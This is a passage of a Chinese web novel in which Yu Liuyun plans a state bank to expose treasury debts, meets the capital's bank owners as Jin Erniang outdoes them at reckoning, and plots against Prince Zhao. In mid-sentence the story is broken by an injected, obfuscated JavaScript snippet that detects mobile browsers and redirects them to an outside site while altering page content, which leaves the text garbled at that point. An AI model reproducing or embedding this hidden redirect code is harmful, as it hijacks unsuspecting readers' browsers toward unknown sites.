时辰尚早,她料想石梦泉在户部那边还没有眉目,就打算上他家里去等。乘轿到石梦泉府时,正看到愉郡主也在那里下轿。这小姑娘一见到玉旒云,立刻就横眉怒目地走了上来,道:“好没脸,自己刚刚订了婚,第二日就往别的男人家里跑。你不顾自己的名声,也要替翼哥哥的名声着想吧?我真不明白他为什么非娶你不可!” 翼王还有什么好名声?玉旒云暗想,其实翼王巴不得他的名声越差越好呢。外人眼里他越是草包,他的阴毒计划就越是容易成功——愉郡主这个绣花枕头肯定还不知道她的“翼哥哥”想要杀了她老子吧? 玉旒云现在身份和见识超然,懒得和这小丫头计较,道:“奇怪了,我经过石家门口,又没有说要来找梦泉。是你拦住了我的轿子呢——有功夫说别人,倒不如好好检点一下自己,这么知道妇德的人,在成婚之前天天往未婚夫家跑,又是什么道理?”说着,不顾愉郡主眼中喷火,吩咐轿夫继续往前,到了街口转到另一条巷子里,打道回她自己的府邸。 已经有工部营造司的人在她府中等候——她原是公爵,现在晋封内亲王,即使不扩建房屋园林,也要把大门改得符合内亲王规制,最起码门口的匾要换。这些小事她都不愿操心,一并交给了管家,自己到书房一边继续思考着郭罡提给她的几条大计划,一边等着石梦泉。 到了午饭过后,石梦泉才来了,面上神情甚是忧虑。玉旒云见了,道:“怎么?是回家一趟被你的小愉缠得头疼,还是罗满欠的钱太多,你怕我还不起?” 石梦泉摇摇头:“罗满不过欠了五百两而已,我已经替他还了。不过,你不是要我问问其他的有什么人,又欠了多少吗?我不敢太招摇,随便问了问而已。潘硕也欠着户部银子呢。不过欠了三万两。” 三万虽然不是什么吓死人的大数目,但玉旒云还是吃了一惊:“他独身一人,既不嫖也不赌,为了什么欠这么多?” “听户部的人口气,找他打秋风的人不少。”石梦泉道,“他一年的俸禄不过一百几十两,他是个两袖清风的人,怎么资助得起那么多同乡?” “打肿脸充胖子,”玉旒云道,“潘硕居然这上面不开窍。” 石梦泉道:“不开窍的还不止他一个呢!”接着说了好几个名字,有步军、禁军的军官,也有从步军、禁军中选拔出来外放到地方上做副将、参将的,个个都欠着户部成百上千的银子。 玉旒云听得瞪大了眼:“好家伙,我一向很得意手底下带出来的都是清官,决不从士兵和老百姓身上揩油——原来都揩到户部头上来了。想来赵王那儿他们也都榜上有名,可真会给我找事!”虽这样抱怨,还是道:“你计算了总数没?我来还。” “今天打听到的是八万三千两百五十三两。”石梦泉道,“我怕户部的人起疑,没敢多问。若刨根究底,恐怕不止这些。” “难道这年头流行向户部借银子?”玉旒云道,“户部是聚宝盆么?” “户部哪里是聚宝盆?我看已经成了无底洞。”石梦泉道,“难怪他们对大人那个养老税支支吾吾,国库里亏空肯定很厉害。说不定银库里只有借条而已。单看大人手下这些借钱的人就知道,能向户部开口的,品级都还不低,前途也是无可限量的,户部既然早开了先例,当然就不能拒绝人家。” “是什么人在户部开的先例?”玉旒云皱眉头,“外头钱庄票号这么多,打开大门做生意,光明正大,而且也不会叫赵王这种小人拿住把柄。不知这些人怎么想的!” 石梦泉道:“钱庄票号借贷的利息大概不低,听户部人的口风,从那里借钱是怎么借、怎么还,不收利息。” “有这等好事?”玉旒云惊道,“那外面是什么行情?啊,想起来了,不是说‘九出十三归’么?好贵的利息!” “大人说的那是高利贷。”正说着的时候,玉府的管家张晟来招呼客人,就插嘴道:“小人的侄子是永丰钱庄的跑街,永丰钱庄贷银利息是三厘七一年,这是西京各票号一同商议出来的,谁也不能低过这数。” 想起郭罡曾经和自己说过,银号为了避免相互间竞争,把存利抬得太高,贷利压得太低,通常会由各家的财东商议出全行统一的利率来。原来真是这样!玉旒云不禁笑了笑:“每年三厘七,并不是很高啊。假如我借个一万两银子出来,才要多还三百七十两而已。” “的确不高。”张晟道,“但是大人去借一万两,恐怕永丰钱庄不会借给您。” “为什么?”玉旒云道,“我堂堂内亲王,还怕我还不出银子来?” “不是。”张晟摇手道,“大人误会了。钱庄借银子的规矩可大着呢。有没有能力还贷自然是考虑之一。此外,钱庄怕卷进麻烦里,也要看看人家是为了什么原因借钱——如果有山贼刚刚抢了十万两官银,就跑到钱庄里去借相同的数目,一转手,将贼赃拿来还贷——表面看来钱庄是没有损失,也许还赚了些许利息,但官府一旦查到,山贼已逃之夭夭,而钱庄里的这批银子就会被没收,岂不麻烦?所以钱庄宁可一杆子打翻一船人,也不肯冒险。一般说来,如果不是生意需要,钱庄是不会借钱给某个人的。” 原来还有这么大的学问!玉旒云想,难怪官员们都到户部来借银子。其中有一些也许是真的急等钱用,而另一些说不定借了国家的银子来置庄园、捧戏子。户部看来的都是“大人”,只好一概批准,结果亏空越闹越大——没有那“利滚利、利翻利”鞭策着,这些人不知到猴年马月才来还钱。念及这些蛀虫,她即厌恶地皱了皱眉头。然转过头来一想:户部也真是愚蠢,既然国库是这些蛀虫们的唯一选择,为什么不向银号借贷一样,要求抵押、设定利息?如此不仅可以减少不必要的借款、督促官员早些还钱,还可以从利息中获取不少利润,不是一举数得吗? 想到这里,她眼前犹如灵光一闪:这不就是郭罡所说的建立一间由户部管理的银号?虽然郭罡的意思是不要急在一时,等日后地位稳固了再动这干戈。但是,玉旒云是行军打仗的人,最讲求“天时、地利、人和”,就这么一刹那间,所有的利弊都还纠缠一处,她已经在心里迅速地下了判断:这正是一个建立所谓“大樾票号”的好时机!她可以把户部见不得光的欠款合法化,可以追讨一部分亏空,可以借此打击一批政敌,可以——如果顺利的话——获得一批盟友,而国库充盈,她就可以放手去进行养老税和武备学塾的计划。 真真好时机!她兴奋了起来,几乎想立刻到刑部大牢里去告诉郭罡,并征询下一步的建议。但是她知道,这时她不可行差踏错一步,明里暗里,不知有多少双眼睛盯着她,每一次冒险,都会增加功亏一篑的可能。她得依靠自己。 于是,冷静下来梳理思路:她不了解银号的生意。她对这个宏大的“大樾银号”计划的所知都来自和郭罡的对话。她需要至少招徕几个能记账会理财,能够帮她设计出银号雏形的人才。 这许多的心思几乎在眨眼见转过她的心头。主意一定,她就微笑着对张晟道:“你那侄子叫什么名字?我有件差事也许用得着他。” “他叫张元——元宝的元,吉利得很。”张晟大喜道,“大人能用得上他,肯提拔他,是小人一家几辈子修来的福气。小人这就上永丰钱庄去找他。回头就来拜见大人。”说着,点头哈腰出门去。到门口,就突然回过身来,自己掌嘴道:“瞧我,现在还不知道改口。该管您叫王爷啦。” 玉旒云封内亲王的消息是明发上谕传邮天下,京畿一带自然是当天就知道消息了。永丰钱庄的掌柜听说玉旒云有事交代张元,立刻嗅到绝好的商机,不仅马上让这个小小的跑街放下手中一切的杂务去玉府报到,还使人飞跑去将这消息传给永丰的财东知晓。而商场也正如战场,各大财东的眼线耳报无所不在。这个大消息很快就传遍了京城的大小票号。大家心里全猜测着:不知玉旒云有什么重要生意要交给永丰?如果是军饷银子的汇兑,那永丰可赚大了! 不过张元被招去之后,接连三天都没有再出现。守在永丰钱庄等消息的人,如同热锅上的蚂蚁。到了第四天,翼王奉旨赴清源县虎脊山勘定万年吉地,庆澜帝亲自送行至西京北门外十里亭,京畿要道戒严,大家都忙着绕路继续做生意,暂时就把张元和玉旒云的这挡子事抛到了脑后。然而也就在这一天,傍晚时分天空突然阴暗,一个炸雷响后,疾雨入筛豆子般落了下来。大街上的行人迅速地跑散了,永丰钱庄的掌柜看到茫茫雨雾里张元奔了过来,因为风大,连伞也顾不上遮,一头扎进了店中,上气不接下气道:“财……财东呢?玉大人要见财东。” 掌柜听到,赶忙吩咐一边的效习道:“还不快去?给财东准备轿子上玉府。” “不……不是上玉大人家里。”张元喘着道,“玉大人要财东招集西京票业会馆所有财东,戌正时分,到醉花荫相见。” 掌柜听了,眼珠子差点儿也没掉出来:“招集全行,那是会馆主席才能做的。如今这一届的主席是隆泰票号的莫财东,他不开声,我们怎么好?” 张元道:“我如何不知?但是是票业会馆的主席大,还是朝廷的内亲王大?王爷如此吩咐我,我也只好这么传话。” 掌柜想想:何尝不是这个道理?既然玉旒云开了金口要永丰钱庄来做这件事,永丰在同行里就已经有天大的面子了。于是不再多说,一壁督促人去准备车轿,一壁亲自去通知他家财东。 这天的雨来得猛,又并不像夏日通常的雷暴雨转瞬即歇,下了一个多时辰还兀自保持着那排山倒海的气势。西京票业会馆各家财东陆续来到醉花荫时,没有一个不是浑身透湿狼狈不堪的——大家都是富商巨贾,虽然没有功名在身,但也都是有些身份的人,今日既来见新晋封的内亲王,怎么说也得穿戴整齐,所以袍子、褂子、帽子,全副行头一样也不少。他们又听说玉旒云是个冷血将军玉面阎罗,因而心里都有十五个吊桶,饶是湿衣服再不舒服,也不敢随便除下一件来绞干。个个正襟危坐,身上都要捂出痱子来了,才见这雅座的珠帘外人影晃动,两个年轻人走了进来——前一个中等身材穿家常着天青绸衫,虽然打扮得和普通京畿贵胄子弟没什么两样,但是一现身立刻有一种叫人不敢逼视的震慑力;而后一个颀长挺拔,沉稳安静得就像他那身半旧的袍子似的,如果是在大街上,这样的人你绝对不会注意,可跟青衫者放在一处,偏偏显出异彩来,让人一眼看出这是不可分割的一对,也是几乎不可战胜的一对。 在座的除了陪着来的张元,没有一个见过玉旒云和石梦泉。然而这两个青年一现身,所有的财东、掌柜们立刻明白:正主儿来了,扫荡天下,皇上面前的大红人来了!他们就不约而同地站起身:“王爷,石将军!” 玉旒云摆了摆手:“俗礼都免了吧,什么王爷不王爷的——才封了没几天,我自己还没习惯这称呼呢。大家请坐。” 众人战战兢兢,点头谢座,但是还都站着,直到玉、石二人在上首坐下了,他们才小心翼翼地坐了四分之一张椅子。 玉旒云微微含笑,向下看了看:“大家不必拘束。玉某人是头一次和诸位见面,诸位不介意,不妨自报家门?”说的客气,却是命令,右手一抬,示意从她右手边第一位开始。 这一位正是西京票业会馆的主席隆泰票号的莫学仁,才刚坐下,又忙站起来自我介绍。由他往后,依次下去,不多时,共有十二位财东向玉旒云问安。最后一位是永丰钱庄的柳子齐柳财东,小小的跑街张元立在他的身后。“张小爷很勤奋好学。”柳子齐道,“很快就会升坐柜了。” 玉旒云笑了笑:“他是什么小爷?不要因为和我府里沾亲带故就坏了你们票号的规矩。我这两天研究你们这一行,学问可真大,规矩不比我军队中少。无有规矩不成方圆。你该怎么待他,还是怎么待他。” “是。”柳子齐没想到第一个马屁就拍到了马腿上。 玉旒云又扫视一下众人:“我听说西京票业会馆中工有一十三间大票号,为什么只来了十二家?” “回王爷……大人的话……”莫学仁道,“鼎兴银号的梁财东缠绵病榻已久,所以不便来见大人。” “既这样,那不去打扰他也好。”玉旒云切入正题,“玉某今日冒昧请各位前来,自然是有生意想跟大家做。我有一位亲戚也想涉足票号生意。不过,并不是想和大家竞争,而是想专门做些私人借贷——我也听说了,若非生意之故,很难确保借贷人有能力偿还并且不参与违法之事。虽然这很难,不过并不表示不可能。我就想请教请教诸位财东,有没有什么可行之法?” “这个……”莫学仁先道,“其实票号也非绝对不做私人生意。但就算只是为了生意理由而借贷,小人等也要详细考察人的底细——其经营之种类、生意之风险,还有从商之历史等等,还要有抵押,有担保……”他先开始说的时候十分紧张,不停地结巴,不过看到玉旒云让人伺候笔墨,一边听一边纪录,才相信这个玉面阎罗是当真要做票号生意,真心向众人请教的。心里的一块石头放了下来,他说话也就越来越流利,将自己经营票号三十年的经验倾囊相授。而其他人受了鼓舞,也开始各抒己见,不多时,玉旒云已经写了好几页纸的笔记。由于众人讨论激烈,她甚至来不及纪录,不得不打断大家,让他们一个一个慢慢说。 而正当大家说到兴头上时,忽然听到珠帘外一声笑,有个女人道:“西京票号聚首,怎么能没有我们鼎兴银号?大家谈得这么开心,究竟说什么事儿呢?”话音未落,人已走了进来,四十来岁的年纪,别人徐娘半老风韵犹存,可是她大概年轻时就不怎么漂亮,一双三角眼朝下挂,两道扫帚眉又偏偏朝上吊,面上厚重的脂粉掩饰不了那精明到几乎刻薄的神气。 玉旒云虽叫大家不必拘束,但是也没允许什么人这般放肆,皱了皱眉头,道:“鼎兴银号?我听说你们财东病了,所以没有等他来就开始商议正事了。请问你是?” 这女人身后还带着一个仆妇,竟像一般妇女串门似的,大摇大摆走了进来,向玉旒云福了福,道:“这位一定就是玉大人了。小妇人是鼎兴梁财东的偏房。我家老爷病后,鼎兴的大小事务都是我打理。大家都称我是晋二娘。” 居然是个小妾?玉旒云讶了讶,同石梦泉互望了一眼:怎么如此嚣张? 她还不及再次皱眉,财东们倒先发作了,骂道:“晋二娘,你算老梁的偏房么?你不过就是个缠着别人丈夫不放的狐狸精——老梁的病多半就是你缠出来的。你倒好意思上玉大人……不……上王爷面前来撒野?”他们说着,已经向晋二娘逼了上去,看架势是要替玉旒云将这泼妇赶出门去。 晋二娘却毫无惧色,反而挺直了腰板儿,道:“不错,我的确是个偏房小妾,但是这么些年来,如果不是靠我,鼎兴银号还不早就叫你们给吞了?你们打量我不知道?你们一个两个都巴望着我家老爷早点儿死,你们好把鼎兴挤垮了、瓜分了——我告诉你们,趁早别指望!姓莫的,你趁我家老爷生病,就抢了他主席的位子。我总会从你手上夺回来的!”别人才说了一句,她倒回了十句。而且说着说着,拨开人群走到了玉旒云跟前,扑通一跪,道:“大人……不……王爷今天来了,就可做个见证,为小妇人评评理,看看我们鼎兴银号该不该拿回票业主席之位!” 玉旒云本是为了正事而来,根本不想卷入票业的家务,正想呵斥晋二娘,旁边莫学仁早已抢了先,道:“放肆!你这泼妇,票业主席是十三票号三年一次选出来的,要精通票号业务,熟知各方客户,在自家票号内能领团结老帮、领导众伙计,在各家票号间,能协调生意,缓解纠纷——他要当得起我们票业的领头之人。你有这个本事么?” “我怎么没有?”晋二娘也不要玉旒云招呼,自己站起身来,把腰一叉,道:“你想跟我比么?尽管放马过来!你自己找没脸,可怪不得姑奶奶我!” “混帐!”玉旒云终于忍不住骂道,“今日是本王招待十三票号的财东,你们要较量也好,要选主席也罢,自己另挑个日子去!” “王爷,”莫学仁道,“您不是想知道票号里做事的人都有些什么必备的本领么?方才小人们跟您干说了半晌,现在借着这不自量力的刁妇,我们几位财东也现丑给王爷演示一下,如此,票业既能赶走这败类,又能为王爷出一份力,望王爷恩准。” 这个……玉旒云想了想,将来要倚重这些财东们,既然他们也想比试,就准了吧!于是点点头。 莫学仁谢了,从怀里掏出一只小小的金算盘来,道:“做票号,首要会算术。我们请王爷随便说十个大数,大家都用算盘来算,错者为输,怎样?” 晋二娘白了他一眼:“我还能怕你?”说时,也从袖中取出小算盘来,“啪”地一声,拍在茶几上。 “麻烦诸位财东一起计算,以为验证。”莫学仁道,“王爷,请出题。” 玉旒云想了想,报了个六位数。莫学仁三下五除二就在算盘上摸定了。而后面诸家财东的算盘几乎整齐地响了几声,也都记上了这个数。只是晋二娘动也不动。玉旒云就接着报了第二个数,也是六位,财东们算盘清脆地作响,晋二娘依然不动。 不知这刁妇葫芦里究竟卖的什么药?玉旒云不想去猜测,接连把另外八个大数报了出来。她且说,财东们就且算,算盘声整齐划一,简直就好像是一个人长了十二双手同时在打十二只算盘一般。到玉旒云最后一个数说完,财东们的手也都离开了算盘。 莫学仁冷眼看着晋二娘,道:“怎么?你莫不是要跟我说你不用算盘,只心算就可以得出答案——若是那样,你最好先说答案,休想从我们其他人口中偷听。” 晋二娘冷冷一笑:“心算?我又不是神仙?还好,做财东做票业主席都既不需要做神仙,也不需要打算盘打得和别人速度一样。我倒觉得首要的本事是可以眼观六路耳听八方,同时处理票号中发生的大小事务,而且井井有条,决不因为被打了岔,就把事情弄混。算账这种事——我就算是一边跟客人谈生意,一边听伙计在边上唱数算账,也决不会让他们有机会蒙了我。”她说着,伸手去拨弄那算盘珠:“二十三万六千两百三十四,十一万零六百三十……”一个接一个,她把玉旒云方才随口说的十的大数准确无误地重复出来,且说且算,十个数字说完,她也算好了:“六百五十四万七千零九——各位财东,你们是不是也得着这个数?” 后面的柳子齐等人你看看我,我看看你,没有话说。莫学仁的脸色好比猪肺,从牙缝里挤出一句:“小聪明!”玉旒云则忍不住重新打量了一下这个俗艳又刻薄的中年妇人:原来这泼妇还有些真本事! “下面要比什么?”晋二娘挑衅地望着莫学仁。 “比看成色!”莫学仁一咬牙,“各位财东,借点银子来用用!” 这些财东都是富甲一方的人物,出门怎么会带着许多现银?倒是张元身上有些碎银子,他又机灵地跑去找醉花荫的掌柜换了一些来,不多时,银锭,银饼,白花花堆了一桌。莫学仁冷笑着走了过去,道:“我先来。”便抓起一枚银角子,看了看,道:“九八色。”又拿起另一个元宝,看了,道:“九六色。”如此且看且说,没多大功夫就把桌上的一堆银子按照成色分成了几堆。分罢,他拍了拍手,道:“银子成色足,可以升水,成色不足,就要贴水——先分成色,再换银票。晋二娘,你不是又要说做财东不需要这本事吧?” 晋二娘一笑,让仆妇将分好的银子重新混在一处,道:“做财东当然需要这本事。不过,这本事又不是只有财东才有——较习要会,跑街要会,其实连妇道人家出门买菜也要有点这本事呢,否则怎么知道那卖猪肉的没有把肉先在水里泡了?又或者他的秤有没有短斤少两?”她说着,叫那仆妇:“金姐,你来。” 仆妇金姐点了点头,伸手拿起一块银子,略一掂,放在一边,接着又拿起另一块,掂了掂,放到另一边。也是这么且拿且掂且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728655|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放,没一会儿功夫,也将银子分成了数堆。玉旒云本来不懂银子成色,只看看每一堆的大小,大约和莫学仁先前所分的相同,猜想金姐做的应该没有错了。 莫学仁咬牙冷冷一笑:“光差遣手下,也算不得本事。” “可不!”晋二娘也冷笑,摸过那小算盘来,劈里啪啦拨动算珠:“九八色五两元宝,足色角银一两四钱,足色元宝十两……”边唱数边计算。玉旒云完全不知其中奥秘,估猜她是在计算银子的总数,但见莫学仁等各家财东的面色越来越惊讶,越来越难看,暗想这晋二娘的本事真真了不得!别人要用手掂过才知道,她却只用眼看,实在厉害!但玉旒云也只来得及这样心思短短地一闪,晋二娘那边已经算好了,道:“升水贴水,总共一百三十三两九钱八分。莫财东,你要不要复合一下?” “用不着!”莫学仁近乎咬牙切齿,“你会用眼,难道我还不会?” 晋二娘的三角眼里露出了一丝得色:“我知道你也会。下面还比什么?” “你别开心得太早。”莫学仁道,“玩些雕虫小技就想当财东、当主席?下面这项我不用同你比,只要考考你就行了!”他大步走到博古架前——醉花荫是个雅地。不过是“附庸风雅”的“雅”,弄了几部古版的书放在博古架上装摆设。莫学仁拿了一部,乃是《论语》,便翻开第一页,叫晋二娘读,道:“这样考你算是便宜你了,说不准你从哪里听到过,会背也未可知。不过你要背,就通本背下来,一个字也错不得。” 晋二娘瞧着他——狠狠地瞪了两眼,并不接那书:“我不会背。我就是不识字,怎样?我打理票号,只要识得数字就够了。” 这次莫学仁终于可以得意地笑了:“真是奇谈!打理票号如何不要识字?合同、契约上难道不都是字么?和客人书信往来,难道不要写字么?” 晋二娘道:“掌柜、老帮、伙计都会写字——” “偏偏你就不会?”莫学仁嘲笑道,“那你怎么管得住他们?你怎么知道他们没有背地里合伙骗你?” “用人不疑,疑人不用。”晋二娘道,“要照你们这样,玉大人出征在外时,岂不是成日要担心麾下的将士联合起来算计她?那她也就不必计划着怎么打敌人了,成天计划着怎么防自己人还来不及呢!” 突然被扯进来,玉旒云一愣,又不禁暗笑:这泼妇说的很有道理。 晋二娘又接着道:“我家大娘的儿子今年十五岁,能读能写,重要的事情我口述让他写不就行了?” “笑话!”莫学仁道,“既然老梁的正妻有子,你如何霸占他家产业?既然老梁的儿子也能打理生意,你就应该把票号交给他管理才对!” “你说的才是笑话!”晋二娘毫不示弱,“玉大人带兵在外,也不是每个敌人都亲自上阵去杀,亦不是每场仗都自己带队来打——她把事情交给石将军的时候多着呢——照你这么说,军队里也用不着玉大人了?只要石将军一个就好了?” “你……”莫学仁被气得头顶都要冒烟了。 “晋二娘,你闭嘴!”玉旒云拍案喝道,“本王面前岂容你强词夺理咆哮胡闹?人有短处敢于承认是好事,但是既然知道有短处,为何不去弥补?反而在这里狡辩?” 晋二娘虽泼辣,但并没有料到玉旒云会突然出言训斥,愣了愣,才道:“王爷莫非是要小妇人现在去学读书写字么?小妇人不怕告诉王爷,我今年已经三十八岁。如果我还是像王爷这样的年纪,一定没日没夜读书习字。可惜,小妇人现在老了,我家正夫人成天就知道撞钟念佛,少爷年幼,老爷有病,家中里里外外的事都要靠小妇人操心。小妇人实在没有空闲做别的。所以,这时候只能扬长避短,读写之事就交给别人代劳了。” 倒也说得通,玉旒云想:这个泼妇很有意思。 “你不要在王爷面前花言巧语。”莫学仁道,“还有什么把戏你想使出来么?若没有,就请王爷定夺,一个连合同契约也无法看的刁妇够不够资格掌管票号,又够不够资格争夺票业主席一位。” “这……我毕竟不懂你们这一行……”玉旒云推托着,想要找一个万全之策。 而偏偏就在这个时候,只听外面一阵急促的脚步声,一个家丁模样的装撞了进来:“二太太,不好了!老爷没了!” 众人都是一愣,晋二娘抢上几步:“什么?老爷没了?” 那家丁淌眼抹泪:“是。突然喘不上气来,太太发现让找大夫,大夫来时已经没气了。太太叫您赶紧回去张罗丧事……” 晋二娘晃了晃,仿佛要晕倒,金姐连忙上来相扶,可是她自己又站稳了,且吩咐那家丁道:“你先回去,我把这边的事处理完了就来。” “你这毒妇!”莫学仁指着她骂道,“不好生在家中照料夫君,跑到外面来胡闹生事,以致夫君病情恶化也没能及时医治。如今你夫君撒手人寰,你竟然不立刻回去披麻带孝,你还算是个人么!”其他财东们也纷纷斥责,有几个又哀叹“老梁”太过不幸。 晋二娘却丝毫不为所动,脂粉几乎掩饰了她面上的一切表情:“你们不用在这里装腔作势。你们口口声声哭我家老爷,我家老爷就是被你们排挤病了,又气死了的。我答应老爷一定要看好他的生意,还要帮他争回票业主席之位。今天不讨回个公道,我决不离开。”说着,坚决地看向玉旒云。 “混帐!”玉旒云手一拂,茶杯落地摔得粉碎,“本王是什么身份,管你们这些鸡毛蒜皮的事情?你方才还说梁家里里外外都靠你一个人操持,现在你家老爷去世,你竟然不分轻重缓急,还在这里无理取闹,可见你之前说的也没一句是真的。立刻给我滚出去,本王不想再看到你这个泼妇!” 她忽然疾言厉色,在场的人都为之一惊:之前虽然也呵斥了晋二娘几句,但人人都能感觉出这一次是真的动了怒,逼人的寒意顷刻将夏日夜晚的温和扫尽,恰半黑的天幕中一个霹雳,电光照着玉旒云冰雕一般的脸,锋利的眼神直刺出来。众人都不禁僵住,连哆嗦也不敢打。 晋二娘饶是泼辣,也被惊得怔怔许久,这才突然放肆地大笑起来:“好,我以为玉旒云是个与众不同的人物,其实也是不辩是非,食古不化的糊涂虫!哈哈……哈哈哈哈!” 天上又是一个霹雳,雷声过后,雨势渐大,天也就全黑了。 “这泼妇,究竟是什么来历?”玉旒云望着晋二娘的背影厉声问道,“梁财东做生意应该很有眼光,怎么娶了这样一个毒妇为妾?” “回大人的话……”不知是哪一个财东颤抖着说道,“这晋二娘原来是个青楼女子……不……不是那种卖笑为生的……因她又丑又没有才艺,所以只是在厨房里打杂。十几年前有一天,我们十三票号的财东出条子叫歌妓。因为那是个清官人,鸨母怕有闪失,特为找了青楼中最凶恶泼悍的女子护卫,就是晋二娘了。晋二娘把她家姑娘看得牢牢的,连碰也不让碰。我们随便调侃她几句,她竟然破口大骂,把宴席闹了个鸡飞狗跳。当时大家好不扫兴,但不知怎么,老梁偏偏觉得这个小丑有意思,买了她回去伺候梁老夫人,梁老夫人过世前,见梁夫人身体不好,就做主让晋二娘做了偏房。” “她这样刁蛮,梁家人受得了?”玉旒云道,“梁财东之前怎么就没有休了她?” 众财东你看看我,我看看你,还是莫学仁回话道:“一是母命难违,再者晋二娘起初有些帮夫运,鼎兴的生意红火了一阵,但没多久,她的扫把星本色就显出来了,鼎兴生意突然一落千丈,老梁也一病不起,如今终于……” “啊,算了。”玉旒云面上的表情缓和了下来:“何必为这种小丑伤脑筋?不提她了。玉某叫醉花荫准备了酒席,还邀了几个色艺俱佳的伶人来助兴。我们且先宴饮,一时玉某再继续向各位讨教。” 十二家财东本来吓得面无人色,以为玉旒云被晋二娘冲撞要拿他们出气,听她突然换了口气,都还有些不信。直到石梦泉亲自离座催促跑堂开席子,又见到几位艺人抱着琵琶、古琴,携着笛子、竹笙垂首进来,他们才松了口气。丝竹齐响,虽然在雨声中未免显得凄凉,但总算把方才尴尬的局面糊弄了过去。酒菜奉上,玉旒云和诸位财东把盏言欢谈笑春风,就像晋二娘那一幕从不曾发生过似的。财东们又向她说了诸多票业窍门和商场趣事,一直到亥时将尽,宾主才相互道别。 “今日和诸位财东一聚,玉某获益匪浅。”玉旒云拱了拱手,“他日我家亲戚的银号开张,还希望各位继续关照。” “一定,一定。”财东们恭恭敬敬。大家出了醉花荫,雨还没停,但是已经小了很多,像是蜘蛛网似的轻轻往人身上粘。财东们恭候玉、石二人先上轿离开。不过玉旒云伸手试试那雨:“吃的太饱,我跟石将军散散步。各位财东请。”也不接自家家丁递来的伞,就和石梦泉走上了湿漉漉的长街。 玉旒云并没有把建立国家银号的计划全都告诉石梦泉,怕一向稳健的石梦泉担心自己太过冒险。她只是说,打算用票号的机制来解决目前官员欠银户部亏空的难题,这次面见各大财东的目的一是为了进一步了解票业规矩,二是想看看商家之中是否有日后可用之材。 他们走出一段之后,玉旒云就笑道:“怎样?这些满身铜臭之人如何?” 石梦泉怔了怔:“大人问我?那可不是白问了?我一介武夫,怎么懂得这些事?大家算术和辨银子成色的本事倒真厉害。” 玉旒云一笑:“你果然是武夫——嘻,那泼妇晋二娘说的没错,做人要扬长避短,用人何尝不是如此?你在战场上运筹帷幄,用兵如神,我本不应该赶鸭子上架逼你来帮我做户部这摊子事。不过……”她犹豫了一下,声音飘忽得就像这雨丝:“大概有你在身边我比较安心吧。” 石梦泉心底一热:“大人……陪在大人身侧保护大人安全是属下的责任,哪有赶鸭子上架这一说?” 玉旒云摆摆手:“好吧,算你是自己跳上架来的。不过,我看你还是下了这架子比较好——我们带回西京现驻扎在城外的军队有多少?” 怎么突然转了话题?石梦泉愣了下,才道:“现驻扎在城外东台的大概三万人。我们总共留了两万人在东海三省,三万人回驻瑞津,另还有两万人在南面戚县大营等待回归驻地的号令。” “十万人……”玉旒云计算着,“十万东征功臣……” “大人糊涂了么?这十万人没有都参加东征。”石梦泉道,“我们本来只从瑞津调了三万人,后来因为刘子飞在北线作战兵力不够,他就调了自己的人马来,加上富安的兵马以及胜利之后从郑国投降来的,也才七万左右。另外的三万主要是回程的时候,刘子飞收编了吕异的一部分部众……” “我知道!”玉旈云道,“不过,我就是要说着十万人都是东征功臣。我要犒赏他们。有银子可拿,刘子飞总不会反对把?惯例劳军是每人二十两银子,十万人就是二百万两。悦敏不是成天跟我的养老税作对么?既不愿改劳军银子为养老税,那就叫他发二百万两银子来!” “这是为什么?”石梦泉不解,“再说,现在户部这种情况,二百万两怎么拿得出来?” “拿不出来才好嘛!”玉旒云道,“拿不出来就要天下大乱了——反正,要不就设立养老税,要不就二百万两劳军银子,这事不解决了,东台大营的三万人决不回原驻地,而且戚县的两万人也会到赶到西京来——乱?我才不怕他乱!” 啊!石梦泉心中电光火石地一闪:莫非玉旒云是想逼赵王提早动手? 玉旒云微微一笑,已经肯定了他的答案:“悦敏要反对养老税,必然想办法拿出劳军银子,则户部不得不追查亏空,如果他赞成养老税,那么户部就会来找我的麻烦,必然要先从罗满、潘硕那几个人的烂账追起。不过,既然借得比他们多的大有人在,我们怕什么?户部的事一闹开,朝廷就乱了。赵王肯定会趁火打劫。到时,我就叫他死无葬身之地。” 这样一句恶毒的话如此轻松地说出来,连温柔的夜色都未被扰乱。“大人找这些财东,是想他们帮大人追缴亏空?”石梦泉觉得这似乎多此一举。 “当然还有更大的用处。”玉旒云道,“不过,我不赶你这只鸭子上架。说出来让你白伤脑筋,还不如让你好好部署一下西京的防务。”她忽然狡黠地一笑:“还有,大事一成,你的小愉就成了罪人,你要还想和她痴缠的,趁早。” “我……”石梦泉明知她是开玩笑,还是面上一红。 但玉旒云已经哈哈笑着跑开了好几步:“算了算了,你脸皮这么薄,打趣你也没意思。” 石梦泉摇摇头,追了上去:“大人,雨虽然小,但是淋湿了终归对身体不好,还是……”才说着,突然发现玉旒云已经恢复了议论军政大事时那种严肃的表情。 “好好做事,”她沉声道,“小心、谨慎。给你七天的时间。” “七天?”石梦泉不解。 “一个人今天死,七天不就是头七么。”玉旒云拍拍他的肩膀,“走,我们上轿回府。” 75. 第 75 章 玉旒云夜会西京票业十二大财东,这消息很快就传到了悦敏的耳朵里。永泽公大惑不解。他和玉旒云一样,都是武将出身,所不同的,他一早就知道父亲的计划,也一早就学习着怎样在尔虞我诈的政坛生存,而玉旒云,悦敏看来,无论在战场上怎么英明神武,实在只是个运气好又冲动的孩子罢了。一年前大青河之战后,他们那样轻易地就削了她的兵权,而后,仅仅用她的身世秘密,就逼得她不敢轻举妄动——她或许有些小聪明,悦敏承认,能够陷害博西勒,又悄悄去西瑶结盟,不过,在政治上她决没有大家风范。赵王已经定了论了——玉旒云和石梦泉,后者不消说,办事都有原则,顺着他的原则立刻就能知道他的计划,前者企图玩点儿把戏,但胸中并无丘壑,稍稍推测一下,也就知道她下一步的行动了。赵王推测,西瑶之行毫无帮助,而身世秘密又被人掌握,玉旒云如果不和自己合作,那就会迫不及待想办法把自己除掉。悦敏也赞同父亲的推测。可是,玉旒云的每一个动作都和这推测相去甚远。 